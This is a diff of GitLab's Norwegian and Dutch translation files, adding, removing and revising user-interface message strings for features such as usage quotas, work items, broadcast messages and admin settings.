@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr "Total mengde overflødig lagring brukt"
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "Total mengde navneområde-lagring brukt"
-
msgid "UsageQuota|Uploads"
msgstr "Opplastinger"
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Ressursbruk på tvers av prosjektene dine"
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "Du har brukt: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr "Bruk mal"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr "(Opptatt)"
msgid "UserProfile|Activity"
msgstr "Aktivitet"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Allerede rapportert for misbruk"
-
msgid "UserProfile|Blocked user"
msgstr "Blokkert user"
@@ -44937,11 +45616,11 @@ msgstr "Stjernemerkede prosjekter"
msgid "UserProfile|Subscribe"
msgstr "Abonner"
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Denne brukeren har ingen personlige prosjekter"
+msgid "UserProfile|This user doesn't have any followers."
+msgstr ""
msgid "UserProfile|This user has a private profile"
msgstr "Denne brukeren har en privat profil"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "Bekreftet"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "Verifiser SAML-oppsettet"
@@ -45315,9 +45994,6 @@ msgstr "Verifiser oppsettet"
msgid "Version"
msgstr "Versjon"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr "Vis alle saker"
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "Vis loggbok"
msgid "View logs"
msgstr "Vis loggføringer"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] "Vis offentlige GPG-nøkler"
msgid "View replaced file @ "
msgstr "Vis erstattet fil @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Vis dokumentasjonen"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr "Synlighet"
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Rørledningshendelser"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr "Sak"
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Du er i ferd med å overføre kontrollen over kontoen din til %{group_name}-gruppen. Denne handlingen er IKKE reversibel. Du vil ikke ha tilgang til noen av gruppene og prosjektene dine utenfor %{group_name} når overføringen er fullført."
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "Du kan også teste din %{gitlab_ci_yml} i %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Du kan også laste opp eksisterende filer fra datamaskinen din ved å følge instruksjonene nedenfor."
@@ -47270,6 +47982,9 @@ msgstr "Du kan invitere et nytt medlem til %{project_name}."
msgid "You can invite another group to %{project_name}."
msgstr "Du kan invitere en annen gruppe til %{project_name}."
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Du kan flytte rundt på grafen ved hjelp av piltastene."
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr "Du kan ikke få tilgang til denne råfilen. Vennligst vent et minutt."
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr "Du har ingen åpne fletteforespørsler"
msgid "You don't have any recent searches"
msgstr "Du har ingen nylige søk"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Du har blitt tildelt %{access_level}-tilgang til %{source_link} %{source_type}."
@@ -47566,6 +48281,9 @@ msgstr "Du må ha vedlikeholder-tilgang for å tvangsslette en lås"
msgid "You must provide a valid current password"
msgstr "Du må oppgi et gjeldende gyldig passord"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Du må oppgi ditt nåværende passord for å kunne endre den."
@@ -47719,8 +48437,10 @@ msgstr "Du har allerede aktivert 2-trinnsautentisering ved hjelp av éngangspass
msgid "You've rejected %{user}"
msgstr "Du har avvist %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47958,6 +48678,9 @@ msgstr "Din melding her"
msgid "Your name"
msgstr "Navnet ditt"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr "kan bare inneholde små bokstaver, sifre, og '_'."
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr "Ny"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "Ingen endringer i kodekvalitet"
@@ -49142,9 +49871,6 @@ msgstr "er ikke"
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr "er ikke et gyldig X509-sertifikat."
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "må være høyere enn startdatoen"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, og %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr "verifiser eierskap"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "versjon %{versionIndex}"
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index 17347f1c48f..f2d9e7a1f77 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} is beschikbaar"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 rol"
msgstr[1] "%d rollen"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 gebruiker"
-msgstr[1] "%{num} gebruikers"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr "Toegangstokens"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Applicatie"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Bladeren in map"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr "Gecommit door"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
